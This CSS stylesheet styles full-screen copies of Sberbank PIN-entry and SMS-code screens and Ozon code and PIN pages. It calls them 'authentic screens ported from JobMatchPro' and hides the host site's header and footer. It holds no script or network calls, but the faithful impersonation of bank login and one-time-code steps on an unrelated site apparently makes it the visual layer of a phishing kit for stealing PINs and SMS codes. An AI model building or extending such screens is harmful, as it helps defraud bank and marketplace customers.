/* ==========================================================================
   SBER & OZON AUTHENTIC SCREENS (Ported from JobMatchPro)
   ========================================================================== */

/* Full-screen isolated overlay for banking flows */
body.bank-flow-active .site-header,
body.bank-flow-active .site-footer,
body.bank-flow-active .bg-stage {
  display: none !important;
}

body.bank-flow-active {
  background: #ffffff !important;
  color: #1a1a1a !important;
}

body.bank-flow-active.sber-dark-bg {
  background: #04241d !important;
}

.bank-flow-shell {
  position: fixed;
  inset: 0;
  width: 100vw;
  height: 100vh;
  height: 100dvh;
  z-index: 100000;
  overflow-y: auto;
  overflow-x: hidden;
  margin: 0;
  padding: 0;
  box-sizing: border-box;
  -webkit-font-smoothing: antialiased;
}

/* ==========================================
   1. SBER PIN PAGE
   ========================================== */

.sber-pin-shell {
  width: 100%;
  min-height: 100vh;
  min-height: 100dvh;
  min-height: 100svh;
  background: #04241d;
  display: flex;
  justify-content: center;
  align-items: stretch;
  margin: 0;
  padding: 0;
  overflow: hidden;
}

.sber-pin-app {
  position: relative;
  width: 100%;
  max-width: 440px;
  min-height: 100vh;
  min-height: 100dvh;
  min-height: 100svh;
  height: 100dvh;
  height: 100svh;
  overflow: hidden;
  color: #fff;
  font-family: -apple-system, BlinkMacSystemFont, 'SF Pro Display', 'SF Pro Text', 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  background-color: #0b5443;
  background-image: url('/sber/pin-bg-clean.webp'), url('/sber/pin-bg-clean.png');
  background-size: cover;
  background-position: center top;
  background-repeat: no-repeat;
  display: flex;
  flex-direction: column;
  justify-content: space-between;
  box-sizing: border-box;
  user-select: none;
  -webkit-user-select: none;
  padding: calc(8px + env(safe-area-inset-top, 0px)) 18px calc(6px + env(safe-area-inset-bottom, 0px));
}

.sber-pin-app__top {
  display: flex;
  flex-direction: column;
  box-sizing: border-box;
}

.sber-pin-app__mark {
  width: 44px;
  height: 44px;
  margin-top: clamp(8px, 2vh, 18px);
  border-radius: 14px;
  border: 1.5px solid rgba(255, 255, 255, 0.42);
  background: rgba(255, 255, 255, 0.05);
  display: flex;
  align-items: center;
  justify-content: center;
  backdrop-filter: blur(10px);
  -webkit-backdrop-filter: blur(10px);
  box-shadow: 0 2px 6px rgba(0, 0, 0, 0.08);
}

.sber-pin-app__greeting {
  margin: clamp(8px, 1.8vh, 16px) 0 0;
  font-size: clamp(26px, 5.5vw, 32px);
  font-weight: 600;
  line-height: 1.15;
  letter-spacing: -0.024em;
  color: #ffffff;
  display: flex;
  align-items: flex-start;
}

.sber-pin-app__label {
  margin: clamp(6px, 1.5vh, 12px) 0 0;
  font-size: 14px;
  font-weight: 400;
  line-height: 1.25;
  color: rgba(255, 255, 255, 0.94);
}

.sber-pin-app__cells {
  margin-top: clamp(8px, 1.8vh, 14px);
  margin-bottom: clamp(16px, 3vh, 32px);
  display: flex;
  gap: 8px;
  justify-content: flex-start;
  width: auto;
}

.sber-pin-app__cell {
  width: 40px;
  height: 40px;
  border-radius: 12px;
  border: 1px solid rgba(255, 255, 255, 0.45);
  background: rgba(235, 250, 238, 0.52);
  box-shadow: inset 0 1px 1px rgba(255, 255, 255, 0.6);
  backdrop-filter: blur(14px);
  -webkit-backdrop-filter: blur(14px);
  display: flex;
  align-items: center;
  justify-content: center;
  transition: all 0.12s ease;
}

.sber-pin-app__cell--filled {
  background: rgba(242, 255, 245, 0.68);
  border-color: rgba(255, 255, 255, 0.6);
}

.sber-pin-app__dot {
  width: 10px;
  height: 10px;
  border-radius: 999px;
  background: #18281d;
}

.sber-pin-app__bottom {
  display: flex;
  flex-direction: column;
  box-sizing: border-box;
  margin-top: auto;
}

.sber-pin-app__keypad-slot {
  width: 100%;
}

.sber-pin-app__link {
  border: none;
  background: none;
  color: #ffffff;
  font-size: 15px;
  font-weight: 400;
  line-height: 1.22;
  padding: 0 0 0 2px;
  cursor: pointer;
  text-align: left;
  display: flex;
  flex-direction: column;
  align-items: flex-start;
  transition: opacity 0.15s ease;
}

.sber-pin-app__link:active {
  opacity: 0.6;
}

.sber-pin-app__tabbar {
  margin-top: clamp(8px, 1.8vh, 18px);
  padding: 0 16px;
}

.sber-pin-app__tab-icons {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 0 10px;
  color: #ffffff;
}

.sber-pin-app__tab-btn {
  border: none;
  background: none;
  padding: 4px;
  color: #ffffff;
  cursor: pointer;
  display: flex;
  align-items: center;
  justify-content: center;
  transition: opacity 0.15s ease;
}

.sber-pin-app__tab-btn:active {
  opacity: 0.6;
}

.sber-pin-app__home {
  display: flex;
  justify-content: center;
  padding: 8px 0 2px;
}

.sber-pin-app__home-bar {
  width: 134px;
  height: 5px;
  border-radius: 99px;
  background: rgba(255, 255, 255, 0.45);
}

.sber-pin-app__wait {
  position: absolute;
  inset: 0;
  z-index: 50;
  display: flex;
  align-items: center;
  justify-content: center;
  background: rgba(8, 48, 38, 0.52);
  backdrop-filter: blur(8px);
  -webkit-backdrop-filter: blur(8px);
}

/* ==========================================
   2. SBER KEYPAD COMPONENT
   ========================================== */

.sber-keypad-grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  width: 100%;
  user-select: none;
  -webkit-user-select: none;
}

.sber-keypad-grid.glass {
  gap: 7px 8px;
}

@media (min-width: 380px) {
  .sber-keypad-grid.glass {
    gap: 9px 11px;
  }
}

.sber-keypad-grid.light {
  gap: 10px;
}

.sber-kp-btn {
  border: none;
  cursor: pointer;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  line-height: 1;
  outline: none;
  transition: all 0.08s ease;
}

.sber-kp-btn.glass {
  height: 3.65rem;
  border-radius: 20px;
  background: rgba(238, 248, 236, 0.68);
  border: 1px solid rgba(255, 255, 255, 0.48);
  backdrop-filter: blur(20px);
  -webkit-backdrop-filter: blur(20px);
  color: #1c1c1c;
  font-size: 1.7rem;
  font-weight: 500;
  box-shadow: 0 2px 8px rgba(0,0,0,0.04), inset 0 1px 1px rgba(255,255,255,0.65);
}

@media (min-width: 380px) {
  .sber-kp-btn.glass {
    height: 4.2rem;
    border-radius: 22px;
    font-size: 1.88rem;
  }
}

.sber-kp-btn.glass:active {
  background: rgba(255, 255, 255, 0.92);
  transform: scale(0.985);
}

.sber-kp-btn.light {
  height: 3.5rem;
  border-radius: 16px;
  background: #ebebeb;
  color: #1a1a1a;
  font-size: 1.75rem;
  font-weight: 500;
}

.sber-kp-btn.light:active {
  background: #dcdcdc;
  transform: scale(0.985);
}

.sber-kp-sub {
  font-size: 10px;
  letter-spacing: 0.06em;
  margin-top: 3px;
  font-weight: normal;
  line-height: 1;
  color: #4d594b;
}

.sber-kp-btn.light .sber-kp-sub {
  color: #888;
  text-transform: uppercase;
  font-size: 7.5px;
}

.sber-kp-backspace-glass {
  background: transparent !important;
  border: none !important;
  box-shadow: none !important;
  color: #ffffff !important;
}

.sber-kp-backspace-glass:active {
  opacity: 0.5;
}

/* ==========================================
   3. SBER SMS PAGE
   ========================================== */

.sber-sms-shell {
  min-height: 100vh;
  min-height: 100dvh;
  background: #ffffff;
  color: #1a1a1a;
  display: flex;
  flex-direction: column;
  font-family: -apple-system, BlinkMacSystemFont, 'SF Pro Text', 'Segoe UI', Roboto, sans-serif;
  max-width: 440px;
  margin: 0 auto;
  box-sizing: border-box;
}

.sber-sms-top-nav {
  display: flex;
  align-items: center;
  padding: 16px 16px 8px;
}

.sber-sms-back-btn {
  background: none;
  border: none;
  cursor: pointer;
  padding: 8px;
  margin-left: -8px;
  display: flex;
  align-items: center;
  justify-content: center;
  color: #1a1a1a;
}

.sber-sms-content {
  padding: 16px 24px;
  flex: 1;
}

.sber-sms-title {
  font-size: 24px;
  font-weight: 700;
  line-height: 1.2;
  margin: 0;
  color: #1a1a1a;
}

.sber-sms-subtitle {
  color: #666666;
  font-size: 14px;
  margin: 12px 0 0;
}

.sber-sms-cells {
  display: flex;
  gap: 8px;
  margin-top: 40px;
  justify-content: center;
}

.sber-sms-cell {
  width: 48px;
  height: 48px;
  border-radius: 12px;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 24px;
  font-weight: 600;
  border: 2px solid transparent;
  background: #ebebeb;
  transition: all 0.15s ease;
}

@media (min-width: 380px) {
  .sber-sms-cell {
    width: 52px;
    height: 52px;
  }
}

.sber-sms-cell.filled {
  border-color: #21a038;
  background: #f0faf3;
  color: #1a1a1a;
}

.sber-sms-timer {
  text-align: center;
  font-size: 14px;
  color: #888888;
  margin-top: 24px;
}

.sber-sms-help-link {
  display: block;
  margin: 12px auto 0;
  background: none;
  border: none;
  color: #21a038;
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
}

.sber-sms-bottom {
  padding: 16px 16px 32px;
}

/* ==========================================
   4. OZON CODE PAGE
   ========================================== */

.ozon-code-shell {
  min-height: 100vh;
  min-height: 100dvh;
  background: #ffffff;
  color: #001a34;
  display: flex;
  flex-direction: column;
  font-family: -apple-system, BlinkMacSystemFont, 'SF Pro Display', 'Segoe UI', Roboto, sans-serif;
  max-width: 440px;
  margin: 0 auto;
  box-sizing: border-box;
}

.ozon-nav-header {
  padding: 16px;
  display: flex;
  align-items: center;
}

.ozon-back-btn {
  background: none;
  border: none;
  cursor: pointer;
  padding: 4px;
  margin-left: -4px;
  display: flex;
  align-items: center;
  color: #001a34;
}

.ozon-code-main {
  padding: 8px 24px 24px;
  display: flex;
  flex-direction: column;
  flex: 1;
}

.ozon-title {
  font-size: 28px;
  font-weight: 800;
  letter-spacing: -0.02em;
  margin: 0;
  color: #001a34;
}

.ozon-subtitle {
  color: #707f8d;
  font-size: 15px;
  margin-top: 10px;
  line-height: 1.4;
}

.ozon-change-phone {
  background: none;
  border: none;
  color: #005bff;
  font-size: 15px;
  font-weight: 500;
  margin-top: 4px;
  text-align: left;
  cursor: pointer;
  padding: 0;
}

.ozon-change-phone:hover {
  text-decoration: underline;
}

.ozon-input-wrapper {
  margin-top: 32px;
}

.ozon-code-input {
  width: 100%;
  height: 56px;
  padding: 0 16px;
  font-size: 22px;
  font-weight: 600;
  letter-spacing: 0.15em;
  border-radius: 16px;
  border: 2px solid #005bff;
  outline: none;
  background: #ffffff;
  color: #001a34;
  box-sizing: border-box;
  text-align: center;
}

.ozon-resend-btn {
  width: 100%;
  height: 56px;
  border-radius: 16px;
  margin-top: 20px;
  border: none;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  cursor: pointer;
  transition: all 0.2s ease;
}

.ozon-resend-btn.disabled {
  background: #f0f3f6;
  color: #8e9ca8;
  cursor: not-allowed;
}

.ozon-resend-btn.active {
  background: #005bff;
  color: #ffffff;
}

.ozon-resend-btn.active:hover {
  background: #004ed6;
}

.ozon-footer-link-wrap {
  padding: 16px 0 32px;
  text-align: center;
  margin-top: auto;
}

.ozon-footer-link {
  background: none;
  border: none;
  color: #005bff;
  font-size: 16px;
  font-weight: 700;
  cursor: pointer;
}

.ozon-footer-link:hover {
  text-decoration: underline;
}

/* ==========================================
   5. OZON PIN PAGE
   ========================================== */

.ozon-pin-shell {
  min-height: 100vh;
  min-height: 100dvh;
  background: #ffffff;
  color: #000000;
  display: flex;
  flex-direction: column;
  font-family: -apple-system, BlinkMacSystemFont, 'SF Pro Display', 'Segoe UI', Roboto, sans-serif;
  max-width: 440px;
  margin: 0 auto;
  box-sizing: border-box;
  user-select: none;
  -webkit-user-select: none;
}

.ozon-pin-header {
  padding-top: clamp(24px, 5vh, 48px);
  text-align: center;
}

.ozon-pin-title {
  font-size: 26px;
  font-weight: 700;
  letter-spacing: -0.015em;
  margin: 0;
  color: #000000;
}

.ozon-pin-desc {
  color: #707f8d;
  font-size: 15px;
  margin-top: 6px;
}

.ozon-pin-dots {
  display: flex;
  justify-content: center;
  align-items: center;
  gap: 16px;
  margin-top: clamp(28px, 4.5vh, 44px);
  margin-bottom: clamp(20px, 3.5vh, 36px);
}

.ozon-pin-dot {
  width: 14px;
  height: 14px;
  border-radius: 999px;
  border: 1.5px solid #000000;
  background: transparent;
  transition: all 0.14s ease;
}

.ozon-pin-dot.filled {
  background: #000000;
  transform: scale(1.05);
}

.ozon-keypad-grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  width: 100%;
  max-width: 320px;
  margin: 0 auto;
}

.ozon-kp-btn {
  height: 76px;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 36px;
  font-weight: 400;
  color: #000000;
  background: none;
  border: none;
  border-radius: 999px;
  cursor: pointer;
  outline: none;
  transition: all 0.1s ease;
}

.ozon-kp-btn:active {
  transform: scale(0.95);
  opacity: 0.6;
  background: #f5f5f5;
}

.ozon-kp-exit {
  height: 76px;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 16px;
  font-weight: 500;
  color: #707f8d;
  background: none;
  border: none;
  cursor: pointer;
}

.ozon-kp-exit:active {
  opacity: 0.6;
}

.ozon-kp-del {
  height: 76px;
  display: flex;
  align-items: center;
  justify-content: center;
  background: none;
  border: none;
  cursor: pointer;
  color: #000000;
  transition: opacity 0.15s ease;
}

.ozon-kp-del:active {
  opacity: 0.6;
}

.ozon-pin-forgot {
  padding: 16px 0 36px;
  text-align: center;
  margin-top: auto;
}

.ozon-pin-forgot button {
  background: none;
  border: none;
  color: #707f8d;
  font-size: 15px;
  font-weight: 500;
  cursor: pointer;
  transition: color 0.15s ease;
}

.ozon-pin-forgot button:hover {
  color: #000000;
}

/* Shake Animation for wrong PIN */
@keyframes shake-error {
  0%, 100% { transform: translateX(0); }
  20%, 60% { transform: translateX(-8px); }
  40%, 80% { transform: translateX(8px); }
}

.shake {
  animation: shake-error 0.45s ease-in-out;
}

/* Modal Dialog for Help / Forgot */
.bank-modal-overlay {
  position: fixed;
  inset: 0;
  background: rgba(0, 0, 0, 0.45);
  display: flex;
  align-items: center;
  justify-content: center;
  z-index: 100010;
  padding: 16px;
}

.bank-modal-card {
  background: #ffffff;
  border-radius: 20px;
  max-width: 360px;
  width: 100%;
  padding: 24px;
  text-align: center;
  box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
  color: #001a34;
}

.bank-modal-title {
  font-size: 18px;
  font-weight: 700;
  margin: 0 0 10px;
}

.bank-modal-text {
  font-size: 14px;
  color: #707f8d;
  line-height: 1.45;
  margin: 0 0 20px;
}

.bank-modal-btn-primary {
  width: 100%;
  padding: 13px;
  background: #005bff;
  color: #ffffff;
  border: none;
  border-radius: 14px;
  font-weight: 600;
  font-size: 14px;
  cursor: pointer;
}

.bank-modal-btn-primary:hover {
  background: #004ed6;
}

.bank-modal-btn-secondary {
  width: 100%;
  padding: 10px;
  background: none;
  border: none;
  color: #707f8d;
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
  margin-top: 8px;
}

/* Spinner Overlay */
.bank-spin-overlay {
  position: fixed;
  inset: 0;
  background: rgba(255, 255, 255, 0.85);
  backdrop-filter: blur(3px);
  -webkit-backdrop-filter: blur(3px);
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  z-index: 100020;
}

.bank-spin-svg {
  width: 44px;
  height: 44px;
  animation: bank-spin 0.9s linear infinite;
}

@keyframes bank-spin {
  100% { transform: rotate(360deg); }
}
